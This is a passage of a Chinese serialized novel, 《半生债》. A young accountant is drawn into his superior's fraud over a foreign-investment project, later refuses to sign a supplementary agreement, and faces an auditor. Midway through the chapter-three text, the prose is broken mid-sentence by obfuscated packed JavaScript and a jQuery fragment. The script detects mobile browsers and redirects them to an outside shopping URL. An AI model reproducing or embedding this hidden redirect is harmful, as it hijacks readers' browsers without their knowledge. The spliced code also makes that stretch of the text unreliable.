“那就把它做成‘符合规定’。”韩科长端起茶杯抿了一口，语气轻描淡写得像在谈论天气，“把整块土地分割成三块，每块单独签出让合同，付款时间错开半年。审计问起来，就说项目分三期开发——他们本就计划分批建设，算不上造假。” 李主任猛地拍了下桌子，大笑起来，肥肉在脸上抖动：“老韩啊老韩，还是你点子多！这招既合规，又给了港商台阶，两全其美。” 王霖机械地嚼着米饭，味蕾像被麻痹，尝不出半分滋味。大学时的《会计法》课堂突然在眼前浮现：老教授扶着老花镜，指尖点着课本上的黑体字，语气庄重如宣誓：“会计是企业的良心，是准则的守门人。”那时的阳光正好，透过梧桐树叶洒在摊开的课本上，字迹清晰明亮。可现在，“良心”成了可以随意调整的报表数字，“准则”成了可以灵活变通的挡箭牌。 下午回到办公室，王霖把可行性报告铺在桌面上，计算器按得噼啪作响，铅笔在草稿纸上列满密密麻麻的算式。三点钟的阳光透过窗户斜射进来，在纸面上投下一道锋利的光影，他顺着光影落在进口设备报价栏，心脏猛地一沉——同款设备的市场均价，比昌荣的报价低了整整十五个百分点。 他攥着资料，脚步沉重地走向韩科长的办公室。敲门的瞬间，指尖竟有些发颤。 “进来。” 韩科长正伏在案头练毛笔字，宣纸上“上善若水”四个大字墨迹未干，笔锋圆润，却透着几分刻意的圆滑。见他进来，笔尖猛地一顿，浓黑的墨汁在“水”字的最后一笔上晕开一团污渍，像一块洗不掉的疤。 “科长，这个进口设备的报价……比市场均价高了十五%，不太合理。”王霖把资料递过去，指尖还残留着铜版纸的凉意。 韩科长放下毛笔，用镇纸压住宣纸，漫不经心地接过文件扫了几眼，随即笑了，眼角的皱纹挤在一起：“小王，你做事认真细致，这是优点。不过——”他拉开抽屉，拿出另一份盖着公章的文件推过来，“这是国内同类外资项目的设备采购价，你对比着看看。” 王霖接过文件，指尖冰凉。那份文件上的报价，竟比他查到的市场价还要高出五个百分点。 “不同采购渠道、不同售后服务，价格有差异很正常。”韩科长重新拿起毛笔，蘸了蘸墨，语气依旧温和，却带着不容置喙的强硬，“再说了，进口设备要算关税、远洋运费、现场安装调试费，这些都包含在报价里。审计只看票据是否齐全、手续是否完备，至于价格高低——那是市场行为，与咱们无关。” 王霖拿着两份文件退出办公室，长长的走廊里空无一人，绿色油漆的墙裙斑驳脱落，露出里面灰白的墙体。他在窗边站住，看见楼下院子里，老刘正拿着抹布仔细擦拭那辆桑塔纳轿车，车身被擦得锃亮，却映不出半点晴朗，只把灰蒙蒙的天复刻在车身上。那一刻，他忽然懂了潘美口中的“规矩”：规矩从不是白纸黑字的条文，是韩科长笔下晕开的墨渍，是李主任衬衫上的汗渍，是陈先生金丝眼镜后审视的目光，是老刘擦车时小心翼翼的姿态。它像一张柔软的网，看似无形，却密不透风，把每个人都裹在其中，不得挣脱。 下班前，王霖把审阅意见初稿交给韩科长。那些存疑的数字、不合理的条款，他都用铅笔轻轻标了出来——这是他能做的，最后的坚守。 韩科长扫了一眼初稿，脸上的笑意淡了些。他拉开抽屉，拿出一块白色橡皮，当着王霖的面，一点点擦去那些铅笔痕迹。橡皮屑落在深红色的桌布上，细碎、苍白，像落在尘埃里的雪，也像被碾碎的、无足轻重的骨灰。 “干净了。”韩科长吹了吹纸面，抬头看向他，笑容温和却冰冷，“明天一早，把正式报告定稿，我要拿去给主任签字。” 王霖走出办公楼时，天已经黑了。秋雨不知何时落了下来，细密如针，打在脸上冰凉刺骨。他没带伞，索性放慢脚步，任由雨水打湿头发和外套。街道两旁的霓虹灯在湿漉漉的地面上拉出长而扭曲的光影，像一个个诡异的入口，通向他看不懂的世界。 路过百货大楼时，他不由自主地停住了脚步。橱窗里挂着那件米白色高领羊毛衫，标签上“纯羊毛、上海制造”的字样格外醒目，定价四十八元。他摸了摸口袋里的牛皮纸信封，里面的钱被体温焐得温热，却一分未动。可今天，当韩科长用橡皮擦掉那些铅笔痕迹时，他感觉有什么更重要的东西也被一并擦去了——那东西看不见、摸不着，却重得让他迈不开步。 鬼使神差地，他推开了百货大楼的玻璃门。暖气混着化妆品柜台的香水味、针织品的纤维味扑面而来，熏得人头晕目眩。羊毛衫柜台在二楼，售货员是个烫着波浪卷发的年轻女人，正低头织着毛衣，见他过来，懒洋洋地抬了抬眼，语气带着几分不耐：“要哪件？” “那件米白的，中码。”王霖的声音有些干涩。 女人放下毛衣针，踩着高跟鞋走过来，取下羊毛衫递给他。纯羊毛的触感柔软细腻，带着新衣特有的、淡淡的化学剂味道。王霖脱下湿漉漉的外套试穿，镜子里的男人穿着笔挺的西装裤、洁白的衬衫，外面套着米白羊毛衫，眉眼间褪去了几分乡野气，多了些城里人的体面。可那张脸，陌生得让他心慌。 “合身，就穿着吧。”女人拿起算盘噼啪一算，“四十八元，再要三寸布票。” 王霖从内袋里掏出那个牛皮纸信封，纸币被雨水浸得有些发潮，他一张张数出四十八元，又从钱包深处找出珍藏的布票。钱递过去时，手指控制不住地发抖——这不是他靠工资换来的体面，是用妥协换来的、带着污点的温暖。 女人麻利地开票、找零，把羊毛衫装进印有百货大楼logo的纸袋：“穿好啊，纯羊毛的，洗的时候用温水，别用肥皂搓。” 王霖提着纸袋走出百货大楼，雨还在下。他穿上新羊毛衫，外面套上湿透的旧外套，柔软的羊毛贴着皮肤，暖意一点点渗进来，舒服得让人想哭。他忽然想起父亲，去年春节前，父亲赶集回来，从怀里掏出个层层包裹的手帕包，里面是五块皱巴巴的零钱，沾着泥土和汗味。“给张莉买点东西，”父亲的声音沙哑，皴裂的手紧紧攥着帕子，“人家姑娘跟了你，不能亏待。” 四十八元。父亲要在黄土里刨多少斤玉米、多少斤红薯，才能凑够这笔钱？张莉在银行里数着一沓沓不属于自己的钞票，要熬多少个通宵，才能攒下这样一件羊毛衫？王霖在雨里站了很久，直到浑身湿透，新羊毛衫吸满了潮气，变得沉重无比，像一件贴身穿的铠甲，也像一副卸不掉的枷锁。 宿舍里，张莉正坐在灯下补袜子，昏黄的灯光落在她低垂的眉眼上，温柔得不像话。见他回来，她赶紧起身，手里还捏着针线：“怎么淋成这样？快去换衣服，别感冒了！”指尖触到他贴身的羊毛衫，她愣了愣，随即眼睛弯了起来，“新买的？料子真软和。” “嗯。”王霖不敢看她的眼睛，低头换鞋，声音含糊，“单位发的福利，说是年终提前兑现。” 张莉笑着摸了摸羊毛衫的料子，语气里满是满足：“真好看，你穿着显精神。”她转身去拿干净毛巾，又忽然想起什么，“对了，潘美哥下午来电话，说他有个朋友在信用社，能弄到低息贷款，问咱们想不想做点小生意。” 王霖擦头发的手猛地停住。 “我说等你回来商量。”张莉接过毛巾，轻轻帮他擦着后颈，指尖的温度透过毛巾传过来，“我知道你想安安稳稳上班，可咱们总不能一辈子租宿舍、领死工资。多一条路总是好的。你看你们科老赵，他爱人在市场卖服装，听说一个月能挣好几百呢，比咱们俩工资加起来还多。” 温热的毛巾裹着脖颈，张莉的动作轻柔又体贴。王霖闭上眼，忽然就理解了韩科长，理解了李主任，甚至理解了那个在疗养院与韩科长纠缠的女人——每个人都在这座飞速运转的城市里找路，找一条能活下去、能活得体面些的路。有的路光鲜亮丽，有的路肮脏不堪，有的路不干不净，却能通向温暖的家、柔软的羊毛衫，通向家人眼里的期许。 “让我想想。”他低声说，声音里满是疲惫。 夜里，王霖做了个梦。梦见自己回到了商南的田埂上，秋日的阳光刺眼，父亲牵着老黄牛在犁地，黄牛呼哧呼哧地喘着气，蹄子踩在黄土上，扬起漫天尘土。他走过去想帮父亲扶犁，父亲却突然抬起头，那张布满皱纹的脸上没有眼睛，只有两个漆黑的洞，浑浊的液体从洞里流出来，滴在黄土上，慢慢洇成两个工整的大字：良心。 他猛地惊醒，冷汗浸透了贴身的羊毛衫，黏在背上冰凉刺骨。张莉在身旁熟睡，呼吸均匀，嘴角还带着浅浅的笑意。窗外，城市彻夜未眠，远方工地的打桩声隐约传来，咚、咚、咚，像巨大的心跳，也像一场倒计时，敲得他心神不宁。 天快亮了。王霖睁着眼，看着天花板从漆黑变成深灰，再一点点透出鱼肚白。他轻轻起身走到窗边，雨已经停了，街道被雨水洗得发亮，早班公交车碾过积水，溅起细碎的水花，载着满车为生计奔波的人驶向远方。新的一天要开始了，他要穿上那件米白羊毛衫，走进办公室，在那份被擦得干干净净的报告上，签下自己的名字。那些被橡皮擦去的疑问、被掩盖的真相，会变成正式文件，送到领导案头，成为这座城市招商引资的政绩，成为发展浪潮里的一粒尘埃。而他，会成为这个过程中的一颗齿轮，不需要良心，不需要思考，只需要按照既定的轨迹转动。 可是为什么，胸口这么闷呢？像压着一块沉甸甸的石头，一块永远无法还清的债。 办公室里，老刘已经到了，正拿着抹布仔细擦拭办公桌，桌面被擦得能映出人影。见王霖进来，他笑着点头：“小王来得早，韩科长刚吩咐过，让你把昌荣的报告定稿，他等着拿去给主任签字呢。”王霖“嗯”了一声，拉开椅子坐下，羊毛衫上未干的潮气贴在背上，凉得他打了个哆嗦。 他翻开那份被擦得干干净净的报告，笔尖悬在签名栏上方，迟迟落不下去。桌上的计算器安静地躺着，键盘上还留着昨天按过的痕迹；旁边堆着的铜版纸资料反射着冷光，像一双双无声催促的眼睛。他想起韩科长昨日温和却冰冷的笑容，想起李主任饭桌上的期许，想起张莉摸着羊毛衫时满足的眼神，还有父亲那双皴裂的、攥着五块钱的手。 不知过了多久，韩科长端着茶杯走进来，目光落在报告上，语气带着几分试探：“签好了？” 王霖握紧笔，指节泛白，指甲几乎嵌进掌心。他深吸一口气，最终还是在签名栏落下了自己的名字，字迹工整，却带着不易察觉的颤抖。韩科长凑过来扫了一眼，嘴角瞬间扬起笑意，拍了拍他的肩：“这就对了。年轻人，要懂分寸，识大体。”说完，他拿起报告转身就走，杯里的枸杞随着步伐轻轻晃动，留下一阵淡淡的茶味。 王霖趴在桌上，鼻尖萦绕着纸张、油墨与茶水混合的味道，胃里一阵翻江倒海。他撑着桌子起身，想去洗手间干呕，刚走到门口，就看见潘美站在走廊里，手里拎着个旧布包，神色慌张，不像往日那般从容。“小王，有空吗？”潘美的声音压得极低，眼神躲闪，时不时往办公室里瞟。 两人走到楼梯间，潘美才松开紧攥的布包，里面是一沓沓捆好的零钱，最大面额是十元，还有不少一元、五角的硬币，边缘都被磨得发亮。“这是我攒了三年的本钱，”他声音发颤，指尖冰凉，“本来想跟你合计着开个小五金店，可刚才信用社的朋友捎信，说低息贷款批不下来——上面查得严，说是外资项目占用了太多信贷额度，咱们这些小户根本排不上号。” 王霖心里一沉，像被投入一块巨石。他忽然想起昌荣集团报告里的融资计划，其中明确标注了一笔从本地信用社贷出的一千万贷款，而那笔贷款 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196354|197133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的审批流程，恰好要经过开发中心财务部复核。韩科长昨天还提过一句“资金链路要通，不能出岔子”，原来早在那时，就已经为挤占民生额度铺好了路。 “是不是……昌荣集团的项目？”王霖的声音干涩沙哑。 潘美猛地抬头，眼神里满是诧异，随即转为愤怒与无奈：“你知道？他们仗着是外资，硬生生挤掉了咱们这些小商户的额度！我那朋友说，这笔贷款的抵押物根本不合格，是用还没批下来的土地使用权做的担保，可上面拍了板，谁也不敢拦。”他顿了顿，左右看了看，压低声音，语气里带着几分恐惧，“听说，韩科长从中拿了不少好处，陈总那边给的分红，够在市区买两套带院子的平房了。” 王霖站在原地，浑身冰凉，连呼吸都带着寒意。那件贴身的羊毛衫仿佛变成了冰壳，紧紧裹着他，让他喘不过气。他签的不是一份简单的报告，是韩科长膨胀的贪欲，是被挤占的底层生计，是自己亲手埋葬的良心。楼梯间的声控灯灭了，陷入一片漆黑，他却清晰地看见那些被擦掉的铅笔痕迹，在黑暗中一点点浮现，像无数双眼睛，冰冷地盯着他这个“帮凶”。 回到办公室，桌上多了一份烫金信封，是昌荣集团送来的“感谢函”。王霖拆开信封，里面除了两张东海大酒店的餐券，还有一张对折的便签，上面用钢笔写着一个数字——是那笔“辛苦费”的余额，比他预想的多了一倍。他拿起便签，指尖冰凉，刚要揉碎，韩科长的声音就从门口传来：“陈总晚上设了局，陪我去一趟。记住，少说话，多喝酒，不该问的别问。” 他没有拒绝。傍晚时分，王霖换上那件米白羊毛衫，外面套上单位发的深蓝色西装外套。镜子里的男人衣着得体，头发梳得整齐，可眼神空洞，像个没有灵魂的木偶。张莉给他塞了一张纸条，上面用清秀的字迹写着：少喝酒，早点回家，我给你留了粥。他把纸条叠好，塞进内袋，和那个没花完的牛皮纸信封放在一起，触感温热，却烫得他心口发疼。 东海大酒店的包间里，陈总和林先生早已等候多时，桌上的两瓶茅台已经开了封，浓郁的酒香弥漫在整个房间。韩科长一进门就谈笑风生，和陈总碰杯时，两人眼神交汇，满是心照不宣的默契。林先生拉着王霖的手坐下，一口一个“小王老弟”，语气亲昵，却带着不容拒绝的强势，酒杯一递，就把满满一杯白酒推到他面前。 酒一杯接一杯地喝，王霖的头越来越沉，羊毛衫里的皮肤沁出冷汗，黏在身上难受至极。他听着韩科长和陈总谈论设备采购的回扣比例，谈论如何打通贷款审批的关节，谈论怎样把“技术处理”做得天衣无缝。那些话像针，密密麻麻扎进他的耳朵里，扎进他早已千疮百孔的底线。中途他起身去洗手间，对着镜子干呕，水流哗哗作响，冲刷着嘴角的酒渍，也冲刷着他仅存的侥幸——他以为自己只是“灵活处理”，却没想到早已深陷泥潭，成了违规交易的参与者。 他摸出内袋里的纸条，张莉的字迹清秀温柔，像黑暗里的一束光。他忽然想起梦里父亲脸上的黑洞，想起那些洇在黄土上的“良心”二字，想起潘美攥着布包时绝望的眼神，甚至想起了饭局上那个端茶倒水、被林先生呵斥的小姑娘小梅——他们都在底层挣扎，而自己，却在为既得利益者的贪欲铺路。 回到包间，韩科长正拿着一份补充协议，递到他面前：“小王，把这个签了。是设备采购的附加条款，明确了分期结算的细节，免得后续出纠纷。”王霖拿起协议，目光扫过条款，里面模糊了设备价格差异，甚至注明“无需提供第三方价格评估报告”，字字句句都在为违规操作铺路。他握着笔，手控制不住地发抖。陈总笑着递过一支烟，打火机“咔嗒”一声点燃，火苗映着他意味深长的脸：“小王兄弟，签了吧。跟着韩科长，以后前程似锦，少不了你的好处。” 烟味呛得他剧烈咳嗽，也咳醒了他混沌的意识。他看着韩科长期待又带着威胁的眼神，看着陈总得意的笑容，看着桌上那沓厚厚的钞票，忽然笑了——不是妥协的笑，是带着悲凉与自嘲的笑。他放下笔，站起身，声音沙哑却异常清晰：“这份字，我不能签。” 包间里瞬间安静下来，连呼吸声都听得一清二楚。韩科长脸上的笑容僵在原地，眼神里满是错愕，随即转为冰冷的愤怒，语气阴沉：“小王，你知道你在说什么吗？别一时糊涂，毁了自己的前程。” “我知道。”王霖直视着他的眼睛，语气坚定，“设备价格虚高，贷款违规挤占民生额度，这些都不合规。那份报告，我签了字，已经错了。这份补充协议，我不能再错下去。” 陈总脸色彻底沉了下来，手里的烟狠狠摁在烟灰缸里，火星四溅。林先生也收了笑意，伸手按住王霖的肩膀，力道大得几乎要捏碎他的骨头：“后生仔，别给脸不要脸！识相点，签了字，好处少不了你的；不然，有你好果子吃。” 王霖用力推开他的手，力道不大，却带着前所未有的坚定。他脱下西装外套，露出里面的米白羊毛衫，转身就走。身后传来韩科长的怒吼：“王霖！你别后悔！” 他没有回头。走出东海大酒店，晚风带着深秋的凉意扑面而来，吹醒了几分酒意。羊毛衫被风吹得贴在身上，却不再觉得冷。他沿着街道慢慢走，路灯在地面上拉出他孤单却挺拔的影子，没有了西装的束缚，脚步竟格外轻快。 回到宿舍时，张莉还没睡，正坐在灯下缝补他的旧外套。见他回来，她赶紧起身，伸手摸了摸他的额头：“怎么这么晚？喝多了吗？脸色这么差。” 王霖一把抱住她，下巴抵在她的发顶，声音带着酒后的疲惫，却异常平静：“莉子，我可能要丢工作了。” 张莉浑身一僵，随即轻轻拍着他的背，语气温柔却坚定：“没事，丢了就丢了。咱们回老家种地，或者在镇上开个小铺子，怎么都能过日子。我不怕苦，就怕你为难自己。” 王霖闭上眼，积压已久的泪水终于落了下来，落在张莉的头发上，也落在那件米白羊毛衫上。他知道，从拒绝签字的那一刻起，他就跳出了那张密不透风的“规矩”之网。前路或许布满荆棘，或许清贫度日，但胸口那块压着的债，终于轻了些。 只是他不知道，韩科长绝不会轻易放过他。账本上的窟窿需要人来填补，违规的交易需要人来背锅，他的反抗，无疑是捅破了那层遮羞布。夜里，韩科长坐在自家客厅里，手里捏着王霖签过字的报告，眼神冰冷。他拨通了陈总的电话，声音低沉：“王霖那边反水了，得找个人填坑。你放心，项目不会受影响，责任……我会推到他身上。” 电话那头的陈总冷笑一声：“早说这后生仔靠不住。也好，让他背锅，正好绝了后患。” 挂了电话，韩科长看着窗外的城市灯火，嘴角勾起一抹阴狠的笑。而此刻的王霖，正陪着张莉坐在灯下，看着她给自己盛粥。温热的粥滑进胃里，暖意蔓延全身，可他总觉得，有一场风暴，正在不远处悄然酝酿。这场关于良心与利益的博弈，关于账本内外的较量，才刚刚开始。 （第三章·账本内外完字数 7218） 14. 《半生债》中卷 第四章·分水岭 《半生债》中卷第四章·分水岭 昌荣集团项目报告送上去的第三天，批复便下来了。绿色封皮印着规整的宋体字，鲜红公章盖在落款处，力道沉实，批语仅一行：“原则同意，按程序办理。”韩科长捏着文件，指尖轻弹纸面，“嗒”的一声脆响，在安静的办公室里格外清晰。彼时王霖正对着计算器核对月度工资表，身上穿的是件洗得发浅的藏青的确良衬衫，领口处磨出了细细的毛边——这是他大学毕业时买的正装，如今白天穿去单位撑体面，晚上回家就换成打补丁的粗布褂子。他入职未满一年，月薪卡在四百八十块，不到科室平均水平的六成，铁矿上的老友前阵子来信，说矿上效益略涨，熟练工能拿到七百八十块，虽少了机关的体面，却够实在。 “成了！”韩科长扬着文件对全科室宣布，语气里满是志得意满，“晚上聚餐，我做东，望海楼海鲜酒楼，敞开了吃！” 望海楼是东海市新开的馆子，包间名唤“碧海潮生”。墙面挂着巨幅海浪油画，靛蓝与雪白交织，昏黄灯光透过丝绒灯罩洒下来，给每张餐椅都镀上一层暖光。王霖特意回宿舍换了身行头：一件深灰针织衫，是张莉去年用攒了俩月的零花钱买的，袖口被洗衣机搅得有些变形，他特意用针线收了收边；下身是条深卡其西裤，裤脚磨得发亮，却被他熨烫得笔挺。他选了靠门的位置，右手边是科室老会计徐师傅，左手边空着——原本该坐的小赵请假了，家里爱人临盆，正守在医院。徐师傅瞥了眼菜单，低声跟王霖念叨：“这地方消费不低，一盘蒜蓉扇贝就得十五块，抵得上你三天工资了。”王霖下意识拽了拽针织衫袖口，遮住那道针线活，只望着窗外掠过的霓虹灯，想起去年刚到东海时，攥着第一个月工资，连三块钱一碗的牛肉面都舍不得加蛋，那时身上还穿着高中时的旧褂子。 “今晚不分上下级，放开吃、放开喝！”韩科长端起啤酒杯，泡沫顺着杯壁漫溢，沾得指腹黏腻，“咱们科室今年立了大功，年底先进科室稳了，奖金少不了！”他这话不是虚言，机关里的年终奖金虽不公开，却也是众人心里的盼头。王霖粗粗一算，若真能评上先进，奖金或许能抵上两个月工资，够给张莉添件过冬的棉衣，也能给自己换件新衬衫，不用再穿着这件变形的针织衫硬撑。 酒杯碰撞的脆响此起彼伏，冰凉的啤酒滑过喉咙，却浇不灭王霖胸腔里那团闷火。蒜蓉粉丝蒸扇贝、椒盐皮皮虾、葱烧海参陆续上桌，餐盘精致，香气浓郁，可他只觉得味同嚼蜡。邻桌有人谈起个体户的收入，说市场里开服装摊的，好的时候一个月能挣一千多，比科长工资还高——王霖忽然想起张莉提过的潘美，那笔被外资项目挤掉的低息贷款，若能批下来，小五金店开起来，或许他就不用再对着这件旧针织衫别扭，不用在体面与生计间反复拉扯。 徐师傅熟练地剥着皮皮虾，虾肉蘸了香醋，低声对王霖说：“这虾差了点意思，过了最肥的季节。”话锋一转，声音压得更低，“听说没？电力公司那个项目，审计查出问题了。” 王霖心头猛地一紧，指尖攥住了筷子，指节泛白，连带着针织衫的袖口都被扯得发皱。那是他经手的第一个大额项目，也是韩科长第一次教他做“技术处理”的活儿，彼时他穿的还是那件藏青的确良，手里攥着虚假的票据，手心的汗把纸都浸软了。 “虚报工程量，多套了三十多万。”徐师傅嚼着虾肉，眼神扫过席间谈笑的众人，拖长了语调，“不过——有人兜住了，翻不了天。现在不比前些年，布票早取消了，日子看似松快了，可藏在底下的门道更多。” “谁？”王霖的声音干涩。 徐师傅朝韩科长的方向瞥了一眼，没再说话，夹起一筷子海参送进嘴里。王霖望着桌上的海鲜，脑海里陡然闪过海滨疗养院的磨砂玻璃、韩科长床头的XO酒瓶，还有韩科长塞给他的那个牛皮纸信封。三十多万，能买几十件像样的针织衫，能抵得上他五六年的工资，能让父亲在黄土里少刨十几年地。那些数字在眼前盘旋，沉甸甸地压在心上，他下意识摸了摸内袋，信封还在，隔着针织衫都能感觉到纸币的粗糙触感。 酒过三巡，席间气氛愈发燥热。有人讲起带颜色的笑话，引得一片哄笑，韩科长笑得最欢，脸红得像熟透的柿子。王霖也跟着扯动嘴角，肌肉僵硬得发酸，只觉得自己像个被线操控的木偶，一举一动都身不由己。他端起酒杯抿了一口，啤酒的苦味里，竟尝出了几分妥协的涩，深灰针织衫被汗水浸得贴在后背，黏腻得难受，像摆脱不掉的枷锁。 突然，包间门被猛地推开。 一个瘦高男人立在门口，五十岁上下，穿一件洗得发白的灰色夹克，手里拎着个磨旧的黑色人造革包。灯光从他身后投射过来，勾勒出硬朗的轮廓，看不清眉眼，可那身形王霖一眼就认了——审计局的孙科长。去年孙科长来中心查账，一丝不苟，油盐不进，是出了名的“铁面人”。彼时王霖刚入职，还跟着老刘整理凭证，穿的是件洗得发白的蓝布工装，亲眼见孙科长揪出一笔两百块的虚报差旅费，让经办人低着头，脸比工装还红。 满室哄笑戛然而止，连呼吸都仿佛停滞了。韩科长脸上的笑容僵了一瞬，握着酒杯的手紧了紧，指节泛白。王霖下意识挺直脊背，扯了扯皱掉的针织衫领口，心里又慌又乱，既怕被戳穿谎言，又莫名生出一丝期待——期待有人能打破这虚假的平静。 “老韩，吃得挺热闹。”孙科长走进来，声音平直无波，听不出半分情绪。 韩科长瞬间敛了笑意，起身堆起满脸客套：“老孙！稀客稀客！快坐，加副碗筷！” “不必了。”孙科长摆了摆手，目光扫过满桌狼藉的餐盘，最后落在王霖脸上，停留了两秒。那目光像一柄冰冷的手术刀，锋利、精准，似要剖开他伪装的平静，穿透那件旧针织衫，直抵他慌乱的内心。“电力公司项目的审计报告，是你们科室出的？” 韩科长的笑容又僵了一瞬，随即又堆起来：“是啊，怎么了？都是按流程来的，票据齐全，手续完备。” “有些数据对不上。”孙科长从包里抽出几页审计底稿，放在旋转餐桌上，轻轻一转，纸张便稳稳滑到韩科长面前，“工程量、材料单价、人工费，都有疑点。尤其是——”他顿了顿，语气加重，“海滨疗养院的住宿费，超标百分之四十。机关出差有明确标准，贵宾楼不是你们该住的地方。” 包间里静得能听见空调出风口的风声。王霖感觉所有目光都聚焦在自己身上——他是电力公司项目的具体经办人，所有票据都是他整理归档的。他低下头，盯着面前那盘凉透的扇贝，蒜蓉早已凝成白色油块，腻得人恶心。耳边响起韩科长当初的吩咐：“住宿票按实际开，后续有人问，就说接待港商，特殊情况。”那天他穿的是那件藏青的确良，韩科长拍着他的肩，说“年轻人要懂变通”，语气里的暗示像针一样扎人。 “嗨，这事儿啊！”韩科长拿起底稿，装模作样地翻了翻，语气轻描淡写，“可能是统计口径不一样，有点误差。小王，”他转头看向王霖，眼神里带着不容置疑的暗示，指尖在桌下轻轻碰了碰他的腿，“你明天把项目底稿找出来，跟孙科长对接，把事情说清楚。” “好。”王霖听见自己的声音，干涩得像砂纸摩擦木头。他知道，这“说清楚”，其实是让他把谎言圆得更完美。他攥着筷子的手更紧了，指腹泛白，连带着针织衫的袖口都被揉出了褶皱。 孙科长点点头，目光再次扫过众人，落在那些没吃完的海鲜上，眼底掠过一丝不易察觉的冷意。他什么也没再说，转身推门而去，脚步声在走廊里渐行渐远，每一步都像踩在王霖的心尖上。 门关上的瞬间，包间里依旧死寂。几秒后，韩科长重重坐下，端起酒杯一饮而尽，语气带着强装的洒脱：“吃！接着吃！多大点事，解释清楚就完了！”可他夹菜的手，却微微发颤。王霖没再动筷子，只坐在原地，看着那件被汗水浸得发皱的针织衫，忽然觉得无比讽刺——他想靠这件衣服撑体面，最终却要用谎言为这份体面买单。 聚餐草草收场。走出酒楼，夜风裹挟着海腥味袭来，吹得王霖打了个寒颤，后背的针织衫凉透了，贴在身上格外难受。韩科长拍了拍他的肩，语气意味深长：“明天跟孙科长好好解释，记住，数据是死的，人是活的。咱们科室今年的效益，你手里的奖金，都在这事儿上了。” 这句话像一句魔咒，在王霖脑海里反复回响，缠得他头痛欲裂。他想起父亲在信里说的：“在外头别逞强，安稳最重要。”可这份安稳，要用良知去换，他换得越来越吃力。回到宿舍，他第一件事就是脱下那件湿冷的针织衫，换上张莉给他织的粗毛线衣，藏青底色，袖口织着简单的花纹，是张莉熬了好几个晚上织成的。毛线衣厚实温暖，裹着他冰凉的身体，可他心里的寒意，却怎么也散不去。 第二天一早，王霖穿回了那件藏青的确良衬衫，特意把领口的毛边理平整，又系了条半旧的蓝灰色领带——这是潘美送他的，说是自己以前穿剩下的，虽有些过时，却能撑住场面。孙科长已经来了，他不要会议室，只要了财务科角落的一张空桌，与王霖面对面坐下，桌上摊着厚厚的审计底稿和笔记本，钢笔笔尖悬在纸上，蓄势待发。阳光透过窗户落在他磨起毛边却熨得笔挺的衬衫领口，衬得他愈发清瘦正直，反观自己，衬衫领口的毛边、不合时宜的领带，都透着一股勉强的窘迫。 “一项一项对。”孙科长的声音平静，却带着不容置喙的威严。 王霖抱来一摞摞项目底稿，数字、票据、合同铺了满桌。孙科长问得极细：“这个材料单价的询价记录在哪？三家供应商的报价单为何笔迹相似？”“工程量是谁现场测量的？签字人资质证明在哪？”“工作对接需要住疗养院贵宾楼？普通标准间八十块一天，不够你们办公？” 王霖按着韩科长事先教的说辞一一应答：市场动态询价后供应商合并、现场由施工方专人陪同测量、接待港商需撑场面以显东海诚意……他不敢看孙科长的眼睛，只盯着对方钢笔上磨旧的笔帽，指尖沁出了冷汗，把衬衫的袖口都浸湿了。那些说辞漏洞百出，连他自己都觉得牵强，可他只能硬着头皮说下去——他输不起这份工作，输不起张莉熬夜给他织的毛线衣，输不起在东海立足的一点点希望。 对到海滨疗养院的费用时，孙科长停住了笔。 “标准间每日八十，三间三天，合计七百二十元。为什么发票金额是一千二？”他推了推眼镜，目光锐利如鹰，“多出的四百八十块，是什么费用？正好抵得上你一个月工资，花得踏实吗？” 王霖的手心全是汗，喉咙发紧：“因为……有两天换了套房，接待考察团的港商，算是特殊工作需求。” “港商名单？接待记录？陪同人员签字？”孙科长追问，笔尖依旧悬着，“既然是工作接待，这些基础材料不该没有。” 王霖语塞，半晌才含糊道：“……可能，当时忙乱中没留存完整。” 孙科长终于抬眼，第一次正眼直视王霖。他的眼睛不大，却清澈得像深山泉水，能照见人心里最隐蔽的污浊与挣扎。“小王，你大学毕业多久了？” “半年多。” “学会计的？” “是。” “那你该记得《会计法》第三十七条。”孙科长的语气没有波澜，却像重锤砸在王霖心上，“会计人员应当诚实守信，客观公正，对弄虚作假的行为有权拒绝。” 王霖当然记得。大学课堂上，老教授扶着眼镜，一字一句地强调：“会计是守账人，更是守心人。守住底线，就是守住自己。”那时他穿的是洗得干净的校服，心里满是对未来的憧憬，想着靠自己的本事挣钱，让家人过上好日子。可如今，他穿着磨毛边的衬衫，系着旧领带，却在为谎言背书，亲手把初心踩在了脚下。他下意识扯了扯领带，领口勒得他喘不过气，像被自己的妥协扼住了喉咙。 他张了张嘴，想说点什么，想承认那些谎言，想把韩科长的吩咐和盘托出，最终却只发出一声几不可闻的叹息。话到嘴边，他想起了张莉织毛线衣时专注的眼神，想起了父亲在信里佝偻的背影，想起了每个月四百八十块工资的窘迫——他终究还是没勇气。 孙科长合上笔记本，轻轻叹了口气。那叹气很轻，却带着沉甸甸的失望，砸得王霖心口发闷。“底稿我带走。三天后，给我一份书面说明，把所有疑点讲清楚。”他站起身，把票据和底稿一张张收好，动作仔细得像在收拾一件易碎的珍宝，“我年轻时也在基层待过，知道挣口饭吃不容易。但再难，也不能丢了根。” 走到门口，他忽然回头，看着王霖，一字一句地说：“你还年轻。有些路，走错了一步，就再也回不了头了。工资能涨，职位能升，可良心丢了，就再也找不回来了。” 门被轻轻带上，王霖瘫坐在椅子上，浑身脱力。他解开领带，揉了揉发紧的领口，藏青的确良衬衫的后背早已被汗水浸得发潮，黏腻地贴在身上。老刘端着暖水瓶走过，瞥见他失魂落魄的样子，没敢多问，只悄悄放下一杯热水。王霖看着那杯冒着热气的水，忽然想起矿上的日子，虽挣得少，却不用对着虚假的数字辗转反侧，不用穿着磨旧的衬衫硬撑体面，不用在良心与生计间反复拉扯。 